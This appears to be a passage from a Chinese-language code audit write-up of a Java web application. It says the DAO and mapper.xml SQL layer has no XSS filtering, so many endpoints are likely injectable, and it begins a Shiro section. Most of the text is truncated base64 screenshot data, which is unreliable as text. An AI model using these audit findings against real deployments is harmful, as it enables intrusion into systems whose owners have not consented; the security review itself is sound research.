UFB4apDCDWL73ofue4jHN93in6PYrcVFBQUFBSuBELoSFi2juK8FOLiHJz/67M0uJV+WUFBYW4QxlQS85JQR35nb6W7qQ9JWbtRUHhDoTjwrkJEXAXb3n872aKGvb94jLohxfDOBYpcFWaKypI86fch12D0F8E3RphOIdQkrLmPu99xHelmNaKyg6eudKEUFBQUFKaBhDl3FetKV3PNzRc59odfsPtYF0KZxCsoKLyJUeaBry/eCPUlNDmsf/ijXF8Uh1qSEOICA08/S4P7SpdMQUHhjYJkSyMxKzXKWRdo6qBninG/EBK6rHIWZcsEWs7S3jioOPoUFOaI+W5figPvKsSwfAtri7OBbFaveJq6vcooby5Q5Kow76gjTve9Tp15QqhI2PIR3vO2Msy+dk7/7W8c2H+OoDKwU1BQULjqkaQAp3/6CI5Nt3Hjbdew5qHPYjN9k8f2dUXfC6ugoKDwJkKZB76+eCPUl3HDnVxfFIev5h/89Tcv0tTtUjbTKCgozClaWQYEQ6eeo6MjdPkH1ItIXJKBSS0h0pLoahxkGk8pKChMh3luXzN24OU88A3eea0VITk4+d1/5tlKEf5D2bv5p4+tRSfUuA5+h+/+vnquyjrnCGFk0bW3s2XzcrJS49CE3Ay1VHNmz5McOtk9abg4IUrY/uinWMlBfveZ39A4D4MwT81r1PXnk0UdNTUu4I050BNCx6KNd7H5+gqy02zo8GBvv0j1S0/y8sEmAhGyFRl38uEvbsd24hd846dHZ/R7V4NcF0J/Fhr9jgNYl7bT818PXemiXF2ox4XqfJ049KSMm7n7/jLMnnr2fPvbvNoUmDSdECqSVqWydo2NzDQ9Jh347V7az/dy7MUumgbEWNrkNN7zmQySI/Q9FAzgGXTTcqaLg7t76fO//tvCbBFC5qYvlbCMbh77SgMtU+2cGydPIQRBj5ehPjcXD7dx+KgTj5gfeRa9cxW3l3k4/J2zHOpYuDoTQk3CqtvYsnUNOZkJGNUBXL1NXDj8HC/tOoMjpNhzhUvzpqovdyf1z/+ShupWHvinu1m8432srftvXm0Xl392mggRx44HV7KONn70q2pqp7JXCbn8v/vzSLxwjs893zVnv/9GQrFvV443wnx2vpnJfPlq5OqYB65lx08epOgSMmv8y+f47Z6hBSzV/DMTe3I11NdssSYmokLQcGAnjT1C2UQzDYQQyBU3k57mpe/gy/Q6FJnNFCEEluW3kJYqMdR4gsbeEHLFzaSlSjjO7qa9NTjxIXMqCfm5WBItaLUqhN+Du7uRvvMX8QSuhM1U9OFSCCGhN5kAN15HkGnZyaAL75CfkOzH3tQecx8uFi2jcHkGgQsHaay9+voqoc4iY2sZ8rj38jUepqGqb9bpFRQuySzb16UQQszyBJ7ooKc3jcKKQqisRQiJ/BVlGJoaaM0qYPLbpK4OhFCTeuenePdtOWjdnTScO4FTlUTWkjVs/vASMv/43/xp75VZaJDaX+JP//LSyKcrUob5RgiJlO2f5j1vyUPr6aTx3HHswkp68VLWvnsxGXH/w//tbJ7Tge6bQa5XEpN1ANeQ7UoX4+pFrQOVavrp/Z75K8sUCKFlyW03kab2Uvf4Ty7hvNOw+L5iblttRHK7ab3QT5NPjbzIROY1WeQstbDnR/Wc6YleLA71DnCmLuzIVGnV2LKtFG0uILdQz59/2EbXFZgYvJ4J9gxwtj4sT61ZR0pBHCvviSM/q4bf/nUI/xtooSB+y8d439tLMQQGaK06Sb3PQHJhCcvu/Bi5Gb/kFz89gusN9L4KCnNBsOk5Hn+ihI+8fQkbb6vg2M9OKqepr0IU+3aFeR3PZ+ebq3m+HCtX0zxQ2C9w9nQbk23t62t5fWz4m2+upvqaKW6XG0lSodFrYdLaVpiIGZ2sBuHE57zSZXm9Y0JjUAEuPK4QoBv97LUHmNCu5AIy1xVhVPnx9fUw5BVobSnIWaWYZDWNR+rwz9MG0alR9OHSmNDJKhAO/K7pPSFJQ/S/uof+Gf6i1mxFhcDncMwwh3lG68XT3Ix/+KPKkkpcvA6fYwpnY6zpFRQuwWzb16Uxz9KBpxqi+byalWUrSBU1tKuKKVlmoW3/Afw5BXNUyDnAlEP5LTcTV/0TDlQOdzrG1WzeloNu6BRP/NdPqOwPLzRLqTfywOfvo+At28k/8CsuBF+fA8arHs1KNt2ch859lqe/+kNO9w0fLE3YyP1ffBeLb95O8fM/4fwkG4PeDIjS27inpI+Duw7T5Zq7HfPzjXAPIhnfzEsdr3M0yygtN4H9IK8eGGSqCbNpVQ63rDbirWvib7/rpNszchJMIn5NHvfdm8CWuxKp/Vk3nohFx2BbD3seH+vOhEpL+btL2VaSzpZ13Tx2YHKHocLkBFu62PN4xD2MchzbP7mYktXpLN0zxKnBqZ99PSGkJWy8oxRDoIGXv/EoB5vDQ2yhzeOGf/ksG1a9hbW5R3ip8QoXVEHhKsS+73kq71zC8mVrKFSf5LwSJ+eqQrFvVwGvl/nslUCZL88Pfa/x0m92MqQ45t/QOIbshITAbIkDuq90cV4nyOhMgNuOL8Tr1Xd7lWBCawaEA48XQD/62TfO9yKElcQVRRglB33HDtPT60OSJIQkk7j+WhJt2VitdfQu+NxS0YdLI6M1AW4H3mkewJsNQgj0cvjEn8++AD84AyRPF32VYxuLjKWpWG1evHY/k5U31vQKC4whAWtuBlLbawy+Du/CnVvk2d6BZ6C/8iyDG8soyf4zHaaVLJabOFLpomT7xNRCnUDeDbewbl0pqQlx6HEx1NNM/b6n2XfgYlTIr8iQiT84tIhb7rqW3FQZXN00H3mGXU8cZfBykwVTDuW33MbGTeUkGr2cqo34W1IqiVrwnnpldDICEGp/mQO783FmDqI2Ag4Qput597d2kBM1yL6Wd/302qifiwx5IUQc67/wDW7MqeaZf30G4333sro4DbPGy+DF1zj0lz9zunlsJ9ZIaIlVFmnKPKNkGSGfH72axa13rSUryYB/oJ2mV59i985zE0LuCCmOwjvexuYNS0i2SLg7azn9xO/pXv9V7l7Zzd4vf5kDCxUSLTOXNAP4jx/mdG9w9KSd6D3Ea5X3s3hVNumZcH7cgkUoFMBcup1b7r6O3DQZaQp9ECvfz798cA3aycKgVv6Br3/n5Qm70IXQkLj6Dq7ftoqc9Hi0ITdDbTWc2/MkB451TDj+Ohry6MbV5GQmoMeNvbeVhld2se/FKhzD5ZmJ/qBLoXDbHSzZdAu1+3exdx4ceUKVinb9ezBVrEcbn4SKQYK9dfiO/hTHibMwboeVUGWh2/YZ5GUrUBuCiK6juHf/D34RXS7FiTc3qI2CoDtCp4UOdfkHkTduRZeSDMJJsPME3kM/wnW2Ieq0qhApmD70D+TM49i//Qukmz+JKT8PSe0i1Lof57Pfwts+yTatzBxSdRCorKZxikGyEFrKNsSj8w3x8l/GnHcAkiToP9rE4eVx3FSQQKGpm7OXuLJCCvk5c3CATSXJpOVaYH/fmC0QEvEVaWy6LoGsVD2aUABHh52q/S28+pp3YntUaym6OYf1Ky3YjAJ3l53Xnm2k/5qKCSEfRU4WH/zIInTHa/jBX6Lta+59FdyzSnD8R6fZ2xgp0xjLYzRRflM6K5aYiYvToiWIa9BNy6l2DuwZGLVXwpjMjkdyyIp6PoUd/50SlV/z0yd5bP9lHJyOQc5W+ylZYyAxGYiYZAmhInl1Bhs32MhcpENLAHunk7qDrRw87ooKWRyWp46iW7JZv8KCzSBwdw1x+tkm+kPRq/9CaFjx4QpuyPNx7Ievsa9pXD6paTz4qQxsDU389EedMztFkpRDqgzi/GGONPlGdUTyX+TY4XpW35FDSq4MjeGtmaLwfh7+7A3oDn+fR399Niqrgvc+ytvW+Xn1m59nT11E/ZpzWH7HHawpz8Fms6DLine truncated
查看dao层<br>
<a id=img13 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456529714-117da3f1-c5d6-4871-b91f-82e09ffd5f8b.png#averageHue=%2324272d&amp;clientId=u8a921088-4e04-4&amp;from=paste&amp;height=44&amp;id=u4ec40df3&amp;originHeight=66&amp;originWidth=1032&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=11773&amp;status=done&amp;style=none&amp;taskId=u7381b274-7964-46c7-beb1-2b70817dcaf&amp;title=&amp;width=688" title><img src="data:image/png;base64,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 truncated
之后就是调用mapper.xml中的对应的sql语句<br>
<a id=img14 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456692888-874ceaea-3eaa-4669-b091-af8c99ebbf2e.png#averageHue=%23313035&amp;clientId=u8a921088-4e04-4&amp;from=paste&amp;height=478&amp;id=ud0ba1f2d&amp;originHeight=717&amp;originWidth=1288&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=33569&amp;status=done&amp;style=none&amp;taskId=u526d9b55-86f7-4854-8bb7-0e0a15991af&amp;title=&amp;width=858.6666666666666" title><img src="data:image/png;base64,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 truncated
没有任何对XSS的过滤,所里理论上不止这一个接口,所有跟数据库又交互的地方,应该都有XSS</p>
<h1 id=toc-5>shiro</h1>
<p><a id=img15 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456883672-cc8b1a64-6fd9-4728-b00b-6af526064a4f.png#averageHue=%231f2125&amp;clientId=u8a921088-4e04-4&amp;from=paste&amp;height=515&amp;id=u20f1e5d3&amp;originHeight=772&amp;originWidth=910&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=111813&amp;status=done&amp;style=none&amp;taskId=ua97b7f5b-09f9-40c3-b434-91c53b157c9&amp;title=&amp;width=606.6666666666666" title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA44AAAMECAYAAADw3HsqAAAgAElEQVR4nOzdd3Rd1Zn38e9Rr1bvvcuSLcsYd1xww+AYgiEkEMqkzjuZyQRSJyQkzJBJAgOZZIYhlQmkAJlQAxhsbMC4YrnbkizZ6laXJV31es/7h2RZzddqtop/n7W8lu+9++7znLa1n7v3OceIjIo1AfwCAgE4X12FiIiIiIiIyAV2kx2AiIiIiIiITG1KHEVERERERMQmJY4iIiIiIiJikxJHERERERERsUmJo4iIiIiIiNikxFFERERERERsUuIoIiIiIiIiNilxFBEREREREZuUOIqIiIiIiIhNShxFRERERETEJiWOIiIiIiIiYpMSRxEREREREbFJiaOIiIiIiIjYpMRRREREREREbFLiKCIiIiIiIjYpcRQRERERERGblDiKiIiIiIiITUocRURERERExCYljiIiIiIiImKTEkcRERERERGxSYmjiIiIiIiI2KTEUURERERERGxS4igiIiIiIiI2KXEUERERERERm5Q4ioiIiIiIiE1KHOWqMGeF8g8Pred/HprHYk9zssMREREREZFRUOIoV4X7/HhuTfIhNimJ29IdJzscEREREREZBSWOMmqmGcCDT36KrU8uYL45stHD5txzHK3roq2uggO5nVc4QhERERERmUgOkx2AXBuM8nwe/m7+hVeTGouIiIiIiIzONTviaLh7sWHLEu5N0fV21wozJYXvbYkk3n2yIxERERERmV6uuRFHw92L9Tel8qkVYYS5dLLz7MXPzLBUfvv9FIKP7ufv9s3iq7fFMTfECbvmJjIzMvnlayWUdV8cLTNNFz7z3c08EFXFM49k4nHHfG5J9MTbsYuqglJefeUoW4utA5ZvmnYkLJvLvavDSQlxwdXoorasmv0fnOK5/RbaDGPM8fTUbxC1cA4PrItgTqgbrtYOasqr+GjHKf58qJFOY2zxm+6xPPnkAuYY/ZcXx49/HTdg+adefp1v7ejorT+Ah55azU0exiXLDDaa+AFMNx8+sXkOm9K8CfZ2wZlOLLVNZB3K5rm3z3Guq195Rw+uX5/KshWpHNydyZ+3FXO2edgwRERERESkH3svb59HAdzce4ZhWltmZk/acPdiw+YF/Mvn5rMhyZ3WvHz+9McD/DGzC/NCMjIrkFtXBuDR5EjCyhA8yqrJLW/HMcCX2UkRLHKt5O1TLVj7khcH5qxIIt27DbugWBZ5NZJdVE8d7sTFBrAkzY3c3aV9yZ1pQsKmNTxxVziRTu3k5lSQW9WNV0QICxdGk26WsT23DcYYj2lCzIYbeeqzkUQ7tXE6p5Iz1d3Migxh2eJo5naUsSOv/WL9o4nfzpEAfzssZRaKytpxDHLHw9rEscMVnCmzUNT773ROGSerLiTLdnh62dNYVkdecR3Fna7E+DpSlXWa9/K7h+yj0cZvmm7c+o9r+cr1s7Cvq+VIdhU5ZS10efmxID2aGwIb2HnEQvuF9a0oZ29pN14hASy5LppbVkaR4N5BabGFWl12KSIiIiJySTN+xHHgCGMXFVm5PL01m3fOtvckjMbQ6+3sopzI/NlW/lTUO9rmGcb3HlnGDatSWfu3XWxrG/wNH/wqdvHlv1bTahiYpgNLP3czP1gcxZYlx8jY1ZuVuEZy30ZfXJrP8bPH9rPD0hujVySPPLKYJRvnsPb9vewYVP+I43GJ4IFN/rjWFvCvP87gYHPvurkH8Y2HV7J201zW7N7LzjHEb7RX8cKzVT3LNwN46KlAQqjir787xNFhtiGAYTSx4+XD7LiwlHWzWBPnesl9Ner4PYJZmeyItegkX/tpNhW9106a9rO4+6vL2RARzFynEvZ0XojHyrljp/np0Vwi0hO4++ZEVq5fzCKNQIqIiIiI2DSjr3E0Y1P45Y828OC6QMwzOfzi8bf4wn8dY2tex8VRxmH